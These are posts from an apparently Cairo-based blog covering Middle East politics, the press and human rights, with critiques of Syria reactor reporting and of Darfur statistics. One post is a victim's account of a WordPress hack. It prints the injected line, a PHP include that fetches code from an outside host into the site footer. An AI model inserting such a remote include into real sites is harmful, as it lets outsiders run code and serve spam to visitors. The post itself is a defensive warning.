The Skeptic الشكاك

439 The Definitive Photograph of Cairo

Can’t resist passing along this photo from Forsoothsayer, who comments: “Classic. It has all the elements: the decomposing food, the stella, the truly terrifyingly awful belly dancer, a midget, and someone who looks like he is lightly considering eating your eyes.” [Photograph by Rebecca]

438 A Convenient Target

So according to the Washington Post, the Institute for Science and International Security (ISIS for short), has found what it thinks is the site of the Sept. 6 Israeli air strike against Syria, and says the site includes building “roughly similar” to North Korean nuclear reactors “capable of producing one bomb a year.”

Even if one had the expertise to evaluate the claim, one couldn’t, because neither the Post nor ISIS show the satellite photos on their respective Web sites. But the Post story sets off so many alarms that one wonders why they ran it.

We learn that ISIS has found “a tall, boxy structure,” near water, in a remote area. We also learn that

…The type of reactor favored by North Korea has few distinguishing characteristics visible from the air. Unlike commercial nuclear power reactors, for example, a North Korea-style reactor lacks the distinctive, dome-shaped containment vessel that prevents the release of radiation in the event of a nuclear accident.

“You can look at North Korea’s [reactor] buildings, and they look like nothing,” said John E. Pike, a nuclear expert and director of GlobalSecurity.org. “They’re just metal-skinned industrial buildings.” The proximity of the building to a water source also is not significant by itself, Pike said.

So ISIS found some buildings “that look like nothing” in a remote area. Ah-ha, but they were in a remote area! “The compound’s distance from populated areas was a key detail, since reactors are usually isolated from major urban populations.” If that’s a key detail, the evidence must be very poor, indeed. Would a chicken barn with a metal roof and a grain silo be considered suspect if they were in a remote area? Aren’t most chicken barns “isolated from major urban populations”?

We also learn that ISIS’ researcher, David Albright, told the Post there was evidence to suggest this wasn’t a reactor at all: “The roof was put on at an early stage, blocking views of the foundation and obscuring any potential reactor components. In construction of other types of nuclear reactors, the roof is left off until the end so cranes can move heavy equipment inside.”

The Post story really degenerates here: “The new report leaves many questions unanswered, such as what Syria intended to use the unfinished structures for and the exact role, if any, of North Korea in their construction.” Yet the story hasn’t given us any evidence that North Korea was involved. So why mention it? They might equally have said, “The new report leaves many questions unanswered, such as… the exact role, if any, of Barbados in their construction.” How did this make it into the paper?

Perhaps I’ve been infected by West Nile Conspiracy Theory Fever. But in the absence of any facts to evaluate, I have to suspect that the real germ of the story is here:

Also unclear is why Israel chose to use military force rather than diplomatic pressure against a facility that could not have produced significant nuclear material for years. The new details could fuel debate over whether Israel’s attack was warranted.

Or is that the hope? Else Israel’s actions seem like an unhelpful and reckless act of aggression at a time when Israel’s primary patron is madly trying to patch together a peace deal.

Maybe Syria does have a secret nuclear-weapons program. I have no idea. But based on the Post‘s account, it doesn’t sound like ISIS made the case that Syria does. And it certainly didn’t make the case that North Korea is involved. So why are we talking about this?

If Post columnist William Arkin is any reflection of editorial thinking at the paper, perhaps his speculations of Oct. 22 offer some explanation. He sounded like a man so desperate for explanations, he’d be willing to grasp at straws:

Why did Israeli aircraft fly into Syria in early September? And what, if anything, did they bomb? Six weeks later, those questions remain unanswered. Reports from Syria are contradictory. Jerusalem, Washington and Tehran are still uncharacteristically quiet. And leaks to the media raise as many questions as answers.

Exactly.

437 Mohammed Abbou and Ibrahim Eissa

The Arabic Network for Human Rights Information (HRinfo) reports that Tunisian authorities have prevented Mohammed Abbou, the recently released Tunisian online journalist imprisoned after he wrote an article unfavorably comparing Ben Ali to Sharon, from traveling to Cairo to attend editor Ibrahim Eissa’s trial:

433 div id=”Goro”

These are the suckers who hacked my site, apparently in an ill-thought-out search engine online pharmaceutical scam. Turns out, they managed to insert a hidden

<div id="goro">

chock full of SPAM links that will tell you all about snorting Xanax and Viagra.

I first suspected the theme, which initially built in hidden links to the designer’s Web site in hidden places, but I get the same thing when I change themes. I’m working on fixing it. In the meantime, if anyone notices something funky, I’m not trying to hawk pills.

Anybody know a good spam reporting service? Or anything I can do about this? I’ve wasted a day trying to “harden” WordPress and blocking IP addresses from accessing this site. Nothing has worked, but I have blocked Microsoft’s Live.com search engine (implicated because the hidden <div> tag calls a JavaScript from a Live.com server).

UPDATE: OK, problem solved. This was the offending line of code:

<?php include('http://wordpress.net.in/statcounter.php'); ?>.

WP users, if you find this in your footer code, delete it and look at the WP codex for tips on “hardening” WP. Incidentally, WordPress.net.in resolves to 207.145.65.44 and is registered to “Mick Jagger” of 1 Red Square, Moscow, MA. His email is listed as mkk.goro@bk.ru.

431 Readings

These two articles were the first I read from latest issue of Carnegie‘s Arab Reform Bulletin:

• Amr Hamzawy’s analysis of a draft of the Muslim Brotherhood‘s political platform. Worth reading, especially alongside Marc Lynch‘s, which adds the benefit of a recent, intense series of interviews with something like 25 Brothers conducted over the space of a few days.
• Eric Goldstein’s appraisal of Human Rights Watch’s attempts to get nonstate actors to respect human rights and international humanitarian law: “There is no denying that Hizballah’s heavy-handed effort to silence Human Rights Watch’s criticism drew applause from many in Lebanon and beyond. Still, Hizballah’s reaction showed concern about how its fighting methods are perceived, and therein lays a modest opportunity for leverage.”

Also see these twin op-eds on Burma, published today in the New York Times and the Washington Post, respectively. They complement each other well.

430 Citizen Zouari

I’m flattered to find Abdallah al-Zouari has used photos I took of him in the design of his new blog. And I’m particularly pleased to find he’s opened a blog.

Since al-Zouari completed an eleven-year prison sentence (for his work for the newspaper of the banned, and now destroyed, al-Nahda Party) in 2002, authorities have sought to silence and punish him because of his outspoken criticism of government policies, notably on human rights. Zouari has been jailed three times, confined to a rural district in Medenine, 500 kilometers from his family’s home in suburban Tunis, and placed under round-the-clock police surveillance.

429 Cairo’s Litigious Cleric

Mariam Fam had a good portrait of the unlovable Yusuf al-Badri in yesterday’s Wall Street Journal. After the break.
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428 Libya, Rwanda and New York

Two items of interest to those who follow Libya:

1. The Washington Post reports that the United States will not stand in the way of Libya’s bid to join the United Nations Security Council, “paving the way for Libya’s full diplomatic rehabilitation at the United Nations.”
2. Lap Green, the Libyan government-owned telecoms company, is now the leading bidder for shares in Rwandatel. An unnamed source from Lap Green told Kigali’s New Times that the company is motivated by its “Pan-African spirit,” not profits… presumably the same Pan-African spirit motivated the company to buy 40 percent of Kenya’s Safaricom and motivated Qadhafi to pay for the construction of a giant mosque in the center of Kigali. Full New Times article after the break.

More…

427 ‘Rural Egypt’s Return to the Ancien Regime’

I’m currently in Sinai, watching lightning strike Saudi Arabia from atop a cliff overlooking Gulf of Aqaba, but I wanted to flag this Le Monde Diplomatique article from two friends and respected colleagues, Bashir Saqr and Phanjof Tarcir. Bashir has spent years traveling around Egypt registering plots of land, and is one of the most impressive people I’ve met. Phanjof has done more to help the farmers of Egypt than any other foreigner I’ve met. Well worth the detour. English translation follows after the break: More…

426 ‘Facts and Darfur’

Ken Silverstein, Washington editor at Harper’s, takes issue with the Save Darfur campaign:

When I lived in Brazil in the early 1990s and worked for Associated Press, I filed a short item on a study by a pro-choice group that revealed the staggering number of abortions that took place in the nation. The study showed, the group argued, that abortion needed to be legalized because so many women ran serious risks in order to get “back alley” abortions. That claim may have had merit, but the numbers, I realized too late, were surely bogus. After re-examining the study, I discovered that for it to be true every Brazilian woman of childbearing age would have had (on average) multiple abortions, which was obviously impossible.

All groups, left, right and center, sometimes make sensational claims and cite dubious statistics. Political organizations do it for obvious reasons and advocacy groups do it because it calls attention to their cause and helps bring in money. For years, the Southern Poverty Law Center hyped the threat of the Klan in the course of raising a $100 million-plus endowment. This same sort of game is apparently being played by Save Darfur, whose “mission is to raise public awareness about the ongoing genocide in Darfur.” [Full article…]

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